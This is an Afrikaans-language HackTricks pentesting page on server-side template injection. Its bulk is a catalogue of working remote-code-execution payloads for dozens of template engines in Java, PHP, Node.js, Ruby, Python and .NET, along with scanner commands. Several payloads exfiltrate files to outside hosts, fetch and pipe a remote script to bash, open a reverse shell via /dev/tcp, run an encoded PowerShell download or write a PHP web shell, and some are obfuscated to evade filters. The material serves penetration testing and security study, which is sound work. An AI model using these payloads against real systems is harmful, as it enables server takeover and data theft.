hacktricks/pentesting-web/ssti-server-side-template-injection/README.md

44 KiB
Raw Blame History

SSTI (Server Side Template Injection)

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

RootedCON is die mees relevante sibersekerheidgebeurtenis in Spanje en een van die belangrikste in Europa. Met die missie om tegniese kennis te bevorder, is hierdie kongres 'n kookpunt vir tegnologie- en sibersekerheidspesialiste in elke dissipline.

{% embed url="https://www.rootedcon.com/" %}

Wat is SSTI (Server-Side Template Injection)

Server-side template injection is 'n kwesbaarheid wat voorkom wanneer 'n aanvaller kwaadwillige kode in 'n templaat kan inspuit wat op die bediener uitgevoer word. Hierdie kwesbaarheid kan gevind word in verskeie tegnologieë, insluitend Jinja.

Jinja is 'n gewilde templaat-enjin wat in webtoepassings gebruik word. Laat ons 'n voorbeeld oorweeg wat 'n kwesbare kodefragment demonstreer wat Jinja gebruik:

output = template.render(name=request.args.get('name'))

In hierdie kwesbare kode word die name parameter van die gebruiker se versoek direk in die templaat ingevoeg met behulp van die render funksie. Dit kan potensieel 'n aanvaller in staat stel om kwaadwillige kode in die name parameter in te spuit, wat kan lei tot 'n server-side templaat inspuiting.

Byvoorbeeld, 'n aanvaller kan 'n versoek met 'n lading soos hierdie saamstel:

http://vulnerable-website.com/?name={{bad-stuff-here}}

Die lading {{slegte-stof-hier}} word in die naam-parameter ingespuit. Hierdie lading kan Jinja-sjabloonriglyne bevat wat die aanvaller in staat stel om ongemagtigde kode uit te voer of die sjabloon-enjin te manipuleer, wat moontlik beheer oor die bediener kan verkry.

Om serverkant-sjablooninspuitingskwetsbaarhede te voorkom, moet ontwikkelaars verseker dat gebruikersinvoer behoorlik gesaniteer en gevalideer word voordat dit in sjablone ingevoeg word. Die implementering van invoervalidering en die gebruik van konteks-bewuste ontsnappingstegnieke kan help om die risiko van hierdie kwetsbaarheid te verminder.

Opmerking

Om Serverkant-sjablooninspuiting (SSTI) op te spoor, is dit aanvanklik fuzzing van die sjabloon 'n reguit benadering. Dit behels die inspuiting van 'n reeks spesiale karakters (${{<%[%'"}}%\) in die sjabloon en die analise van die verskille in die bediener se reaksie op gewone data teenoor hierdie spesiale lading. Kwetsbaarheidsaanwysers sluit in:

  • Gegooide foute wat die kwetsbaarheid en moontlik die sjabloon-enjin blootstel.
  • Afwesigheid van die lading in die weerspieëling, of dele daarvan wat ontbreek, wat impliseer dat die bediener dit anders as gewone data verwerk.
  • Plaintext-konteks: Onderskei van XSS deur te kyk of die bediener sjabloonuitdrukkings evalueer (bv. {{7*7}}, ${7*7}).
  • Kodekonteks: Bevestig kwetsbaarheid deur insetparameters te verander. Byvoorbeeld, verander groet in http://kwesbare-webwerf.com/?groet=data.gebruikersnaam om te sien of die bediener se uitset dinamies of vas is, soos in groet=data.gebruikersnaam}}hallo wat die gebruikersnaam teruggee.

Identifikasiefase

Die identifisering van die sjabloon-enjin behels die analisering van foutboodskappe of die handmatige toets van verskeie taalspesifieke lading. Gewone lading wat foute veroorsaak, sluit in ${7/0}, {{7/0}}, en <%= 7/0 %>. Die waarneming van die bediener se reaksie op wiskundige bewerkings help om die spesifieke sjabloon-enjin te bepaal.

Gereedskap

TInjA

'n Doeltreffende SSTI + CSTI-skandeerder wat nuwe poliglote benut

tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
tinja url -u "http://example.com/" -d "username=Kirlia"  -c "PHPSESSID=ABC123..."

SSTImap

python3 sstimap.py -i -l 5
python3 sstimap.py -u "http://example.com/ --crawl 5 --forms
python3 sstimap.py -u 'https://example.com/page?name=John' -s

Tplmap

python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade

Template Injection Tabel

'n Interaktiewe tabel wat die mees doeltreffende templaatinspuiting polyglots bevat saam met die verwagte reaksies van die 44 belangrikste templaat-enjins.

Exploits

Generies

In hierdie woordelys kan jy veranderlikes wat gedefinieer is in die omgewings van sommige van die enjins hieronder genoem, vind:

Java

Java - Basiese inspuiting

${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
// if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.

Java - Haal die omgewingsveranderlikes van die stelsel op

${T(java.lang.System).getenv()}

Java - Haal /etc/passwd op

${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}

${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}

FreeMarker (Java)

Jy kan jou ladingstoetse probeer by https://try.freemarker.apache.org

  • {{7*7}} = {{7*7}}
  • ${7*7} = 49
  • #{7*7} = 49 -- (oud)
  • ${7*'7'} Niks
  • ${foobar}
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}

${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}

Freemarker - Sandboks deurloop

⚠️ werk slegs op Freemarker weergawes onder 2.3.30

<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}

Meer inligting

Velocity (Java)

// I think this doesn't work
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end

// This should work?
#set($s="")
#set($stringClass=$s.getClass())
#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())
#set($process=$runtime.exec("cat%20/flag563378e453.txt"))
#set($out=$process.getInputStream())
#set($null=$process.waitFor() )
#foreach($i+in+[1..$out.available()])
$out.read()
#end

Meer inligting

Thymeleaf

In Thymeleaf is 'n algemene toets vir SSTI kwesbaarhede die uitdrukking ${7*7}, wat ook van toepassing is op hierdie templaat-enjin. Vir potensiële afgeleë kode-uitvoering kan uitdrukkings soos die volgende gebruik word:

  • SpringEL:
${T(java.lang.Runtime).getRuntime().exec('calc')}
  • OGNL:
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}

Thymeleaf vereis dat hierdie uitdrukkings binne spesifieke eienskappe geplaas word. Nietemin word uitdrukking inlyn ondersteun vir ander templaatlokasies, deur sintaksis soos [[...]] of [(...)] te gebruik. Dus kan 'n eenvoudige SSTI toetslading lyk soos [[${7*7}]].

Die waarskynlikheid dat hierdie lading werk, is egter gewoonlik laag. Thymeleaf se verstekkonfigurasie ondersteun nie dinamiese templaatgenerering nie; templaat moet voorgedefinieer word. Ontwikkelaars sal hul eie TemplateResolver moet implementeer om templaat vanaf strings aan die vlieg te skep, wat ongewoon is.

Thymeleaf bied ook uitdrukking voorverwerking aan, waar uitdrukkings binne dubbele onderstreep (__...__) voorverwerk word. Hierdie kenmerk kan benut word in die konstruksie van uitdrukkings, soos gedemonstreer in Thymeleaf se dokumentasie:

#{selection.__${sel.code}__}

Voorbeeld van 'n Swakheid in Thymeleaf

Oorweeg die volgende kodefragment, wat vatbaar kan wees vir uitbuiting:

<a th:href="@{__${path}__}" th:title="${title}">
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>

Dit dui daarop dat as die templaat-enjin hierdie insette nie behoorlik verwerk nie, dit kan lei tot afgeleë kode-uitvoering wat toegang gee tot URL's soos:

http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})

Meer inligting

{% content-ref url="el-expression-language.md" %} el-expression-language.md {% endcontent-ref %}

Spring Framework (Java)

*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}

Bypass filters

Verskeie veranderlike uitdrukkings kan gebruik word, as ${...} nie werk nie, probeer #{...}, *{...}, @{...} of ~{...}.

  • Lees /etc/passwd
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
  • Aangepaste skrip vir ladinggenerering
#!/usr/bin/python3

## Written By Zeyad Abulaban (zAbuQasem)
# Usage: python3 gen.py "id"

from sys import argv

cmd = list(argv[1].strip())
print("Payload: ", cmd , end="\n\n")
converted = [ord(c) for c in cmd]
base_payload = '*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec'
end_payload = '.getInputStream())}'

count = 1
for i in converted:
if count == 1:
base_payload += f"(T(java.lang.Character).toString({i}).concat"
count += 1
elif count == len(converted):
base_payload += f"(T(java.lang.Character).toString({i})))"
else:
base_payload += f"(T(java.lang.Character).toString({i})).concat"
count += 1

print(base_payload + end_payload)

Meer Inligting

Spring Aansig Manipulasie (Java)

__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x

{% content-ref url="el-expression-language.md" %} el-expression-language.md {% endcontent-ref %}

Pebble (Java)

  • {{ someString.toUPPERCASE() }}

Ou weergawe van Pebble ( < weergawe 3.0.9):

{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}

Nuwe weergawe van Pebble:

{% raw %}
{% set cmd = 'id' %}
{% endraw %}



{% set bytes = (1).TYPE
.forName('java.lang.Runtime')
.methods[6]
.invoke(null,null)
.exec(cmd)
.inputStream
.readAllBytes() %}
{{ (1).TYPE
.forName('java.lang.String')
.constructors[0]
.newInstance(([bytes]).toArray()) }}

Jinjava (Java)

{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206

Jinjava is 'n oopbronprojek ontwikkel deur Hubspot, beskikbaar by https://github.com/HubSpot/jinjava/

Jinjava - Opdraguitvoering

Vasgestel deur https://github.com/HubSpot/jinjava/pull/230

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

Meer inligting

Hubspot - HuBL (Java)

  • {% %} verklaringsgrense
  • {{ }} uitdrukkingsgrense
  • {# #} kommentaargrense
  • {{ request }} - com.hubspot.content.hubl.context.TemplateContextRequest@23548206
  • {{'a'.toUpperCase()}} - "A"
  • {{'a'.concat('b')}} - "ab"
  • {{'a'.getClass()}} - java.lang.String
  • {{request.getClass()}} - class com.hubspot.content.hubl.context.TemplateContextRequest
  • {{request.getClass().getDeclaredMethods()[0]}} - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()

Soek na "com.hubspot.content.hubl.context.TemplateContextRequest" en ontdek die Jinjava projek op Github.

{{request.isDebug()}}
//output: False

//Using string 'a' to get an instance of class sun.misc.Launcher
{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}
//output: sun.misc.Launcher@715537d4

//It is also possible to get a new object of the Jinjava class
{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}
//output: com.hubspot.jinjava.JinjavaConfig@78a56797

//It was also possible to call methods on the created object by combining the



{% raw %}
{% %} and {{ }} blocks
{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}
{% endraw %}


{{ji.render('{{1*2}}')}}
//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.

//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
//output: xxx

//RCE
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
//output: java.lang.UNIXProcess@1e5f456e

//RCE with org.apache.commons.io.IOUtils.
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//output: netstat execution

//Multiple arguments to the commands
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

Meer inligting

Uitdrukkings Taal - EL (Java)

  • ${"aaaa"} - "aaaa"
  • ${99999+1} - 100000.
  • #{7*7} - 49
  • ${{7*7}} - 49
  • ${{request}}, ${{session}}, {{faceContext}}

Uitdrukkings Taal (EL) is 'n fundamentele kenmerk wat interaksie fasiliteer tussen die aanbiedingslaag (soos webbladsye) en die toepassingslogika (soos bestuurde bone) in JavaEE. Dit word wyd gebruik oor verskeie JavaEE tegnologieë om hierdie kommunikasie te stroomlyn. Die sleutel JavaEE tegnologieë wat EL gebruik, sluit in:

  • JavaServer Faces (JSF): Maak gebruik van EL om komponente in JSF-bladsye te bind aan die ooreenstemmende agterste data en aksies.
  • JavaServer Pages (JSP): EL word in JSP gebruik om toegang tot en manipulasie van data binne JSP-bladsye te verkry, wat dit makliker maak om bladsy elemente met die toepassingsdata te koppel.
  • Contexts and Dependency Injection for Java EE (CDI): EL integreer met CDI om naadlose interaksie tussen die weblaag en bestuurde bone moontlik te maak, wat 'n meer samehangende toepassingsstruktuur verseker.

Kyk na die volgende bladsy om meer te leer oor die uitbuiting van EL tolke:

{% content-ref url="el-expression-language.md" %} el-expression-language.md {% endcontent-ref %}

Groovy (Java)

Die volgende Security Manager omseilings is geneem uit hierdie verslag.

//Basic Payload
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "ping cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net "
assert java.lang.Runtime.getRuntime().exec(cmd.split(" "))
})
def x

//Payload to get output
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "whoami";
out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next()
cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net";
java.lang.Runtime.getRuntime().exec(cmd2.split(" "))
})
def x

//Other payloads
new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x")
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))

RootedCON is die mees relevante sibersekerheidgebeurtenis in Spanje en een van die belangrikste in Europa. Met die missie om tegniese kennis te bevorder, is hierdie kongres 'n kookpunt vir tegnologie- en sibersekerheidspesialiste in elke dissipline.

{% embed url="https://www.rootedcon.com/" %}

Smarty (PHP)

{$smarty.version}
{php}echo `id`;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3

Meer inligting

Twig (PHP)

  • {{7*7}} = 49
  • ${7*7} = ${7*7}
  • {{7*'7'}} = 49
  • {{1/0}} = Fout
  • {{foobar}} Niks
#Get Info
{{_self}} #(Ref. to current application)
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}

#File read
"{{'/etc/passwd'|file_excerpt(1,30)}}"@

#Exec code
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{['id',""]|sort('system')}}

#Hide warnings and errors for automatic exploitation
{{["error_reporting", "0"]|sort("ini_set")}}

Twig - Templaat-formaat

$output = $twig > render (
'Dear' . $_GET['custom_greeting'],
array("first_name" => $user.first_name)
);

$output = $twig > render (
"Dear {first_name}",
array("first_name" => $user.first_name)
);

Meer inligting

Plates (PHP)

Plates is 'n templating engine wat inheems is aan PHP, wat inspirasie trek uit Twig. Tog, in teenstelling met Twig, wat 'n nuwe sintaksis introduceer, maak Plates gebruik van inheemse PHP-kode in templatings, wat dit intuïtief maak vir PHP-ontwikkelaars.

Beheerder:

// Create new Plates instance
$templates = new League\Plates\Engine('/path/to/templates');

// Render a template
echo $templates->render('profile', ['name' => 'Jonathan']);

Bladsy sjabloon:

<?php $this->layout('template', ['title' => 'User Profile']) ?>

<h1>User Profile</h1>
<p>Hello, <?=$this->e($name)?></p>

Uitleg sjabloon:

<html>
<head>
<title><?=$this->e($title)?></title>
</head>
<body>
<?=$this->section('content')?>
</body>
</html>

Meer inligting

PHPlib en HTML_Template_PHPLIB (PHP)

HTML_Template_PHPLIB is dieselfde as PHPlib maar oorgedra na Pear.

authors.tpl

<html>
<head><title>{PAGE_TITLE}</title></head>
<body>
<table>
<caption>Authors</caption>
<thead>
<tr><th>Name</th><th>Email</th></tr>
</thead>
<tfoot>
<tr><td colspan="2">{NUM_AUTHORS}</td></tr>
</tfoot>
<tbody>
<!-- BEGIN authorline -->
<tr><td>{AUTHOR_NAME}</td><td>{AUTHOR_EMAIL}</td></tr>
<!-- END authorline -->
</tbody>
</table>
</body>
</html>

outjie.php

<?php
//we want to display this author list
$authors = array(
'Christian Weiske'  => 'cweiske@php.net',
'Bjoern Schotte'     => 'schotte@mayflower.de'
);

require_once 'HTML/Template/PHPLIB.php';
//create template object
$t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep');
//load file
$t->setFile('authors', 'authors.tpl');
//set block
$t->setBlock('authors', 'authorline', 'authorline_ref');

//set some variables
$t->setVar('NUM_AUTHORS', count($authors));
$t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d'));

//display the authors
foreach ($authors as $name => $email) {
$t->setVar('AUTHOR_NAME', $name);
$t->setVar('AUTHOR_EMAIL', $email);
$t->parse('authorline_ref', 'authorline', true);
}

//finish and echo
echo $t->finish($t->parse('OUT', 'authors'));
?>

Meer inligting

Jade (NodeJS)

- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}

Meer inligting

patTemplate (PHP)

patTemplate nie-kompilerende PHP templating engine, wat XML-tags gebruik om 'n dokument in verskillende dele te verdeel

<patTemplate:tmpl name="page">
This is the main page.
<patTemplate:tmpl name="foo">
It contains another template.
</patTemplate:tmpl>
<patTemplate:tmpl name="hello">
Hello {NAME}.<br/>
</patTemplate:tmpl>
</patTemplate:tmpl>

Meer inligting

Handlebars (NodeJS)

Paddeurloop (meer inligting hier).

curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
  • = Fout
  • ${7*7} = ${7*7}
  • Niks
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}

URLencoded:
%7B%7B%23with%20%22s%22%20as%20%7Cstring%7C%7D%7D%0D%0A%20%20%7B%7B%23with%20%22e%22%7D%7D%0D%0A%20%20%20%20%7B%7B%23with%20split%20as%20%7Cconslist%7C%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epush%20%28lookup%20string%2Esub%20%22constructor%22%29%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%23with%20string%2Esplit%20as%20%7Ccodelist%7C%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epush%20%22return%20require%28%27child%5Fprocess%27%29%2Eexec%28%27whoami%27%29%3B%22%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%23each%20conslist%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%23with%20%28string%2Esub%2Eapply%200%20codelist%29%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bthis%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%2Feach%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%7B%7B%2Fwith%7D%7D%0D%0A%7B%7B%2Fwith%7D%7D

Meer inligting

JsRender (NodeJS)

Sjabloon Beskrywing
Evalueer en toon uitset
Evalueer en toon HTML-gekodeerde uitset
Kommentaar
en Laat kode toe (standaard gedeaktiveer)
  • = 49

Kliëntkant

{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}

Bedienerkant

{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}

Meer inligting

PugJs (NodeJS)

  • #{7*7} = 49
  • #{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}
  • #{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}

Voorbeeld bedienerkant-render

var pugjs = require('pug');
home = pugjs.render(injected_page)

Meer inligting

NUNJUCKS (NodeJS)

  • {{7*7}} = 49
  • {{foo}} = Geen uitset
  • #{7*7} = #{7*7}
  • {{console.log(1)}} = Fout
{{range.constructor("return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')")()}}
{{range.constructor("return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.11/6767 0>&1\"')")()}}

Meer inligting

ERB (Ruby)

  • {{7*7}} = {{7*7}}
  • ${7*7} = ${7*7}
  • <%= 7*7 %> = 49
  • <%= foobar %> = Fout
<%= system("whoami") %> #Execute code
<%= Dir.entries('/') %> #List folder
<%= File.open('/etc/passwd').read %> #Read file

<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines()  %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>

Meer inligting

Slim (Ruby)

  • { 7 * 7 }
{ %x|env| }

Meer inligting

Python

Kyk na die volgende bladsy om truuks te leer oor arbitrêre beveluitvoering wat sandbokse omseil in Python:

{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %} bypass-python-sandboxes {% endcontent-ref %}

Tornado (Python)

  • {{7*7}} = 49
  • ${7*7} = ${7*7}
  • {{foobar}} = Fout
  • {{7*'7'}} = 7777777
{% raw %}
{% import foobar %} = Error
{% import os %}

{% import os %}
{% endraw %}




{{os.system('whoami')}}
{{os.system('whoami')}}

Meer inligting

Jinja2 (Python)

Amptelike webwerf

Jinja2 is 'n volledige kenmerkende templaat-enjin vir Python. Dit het volledige Unicode-ondersteuning, 'n opsionele geïntegreerde sandbox-uitvoeringsomgewing, word wyd gebruik en is onder die BSD-lisensie.

  • {{7*7}} = Fout
  • ${7*7} = ${7*7}
  • {{foobar}} Niks
  • {{4*4}}[[5*5]]
  • {{7*'7'}} = 7777777
  • {{config}}
  • {{config.items()}}
  • {{settings.SECRET_KEY}}
  • {{settings}}
  • <div data-gb-custom-block data-tag="debug"></div>
{% raw %}
{% debug %}
{% endraw %}




{{settings.SECRET_KEY}}
{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777

Jinja2 - Templaat formaat

{% raw %}
{% extends "layout.html" %}
{% block body %}
<ul>
{% for user in users %}
<li><a href="{{ user.url }}">{{ user.username }}</a></li>
{% endfor %}
</ul>
{% endblock %}
{% endraw %}


RCE nie afhanklik van __builtins__:

{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}

# Or in the shotest versions:
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}

Meer besonderhede oor hoe om Jinja te misbruik:

{% content-ref url="jinja2-ssti.md" %} jinja2-ssti.md {% endcontent-ref %}

Ander payloads in https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2

Mako (Python)

<%
import os
x=os.popen('id').read()
%>
${x}

Meer inligting

Razor (.Net)

  • @(2+2) <= Sukses
  • @() <= Sukses
  • @("{{code}}") <= Sukses
  • @ <= Sukses
  • @{} <= FOUT!
  • @{ <= FOUT!
  • @(1+2)
  • @( //C#Code )
  • @System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");
  • @System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4MQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBXAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");

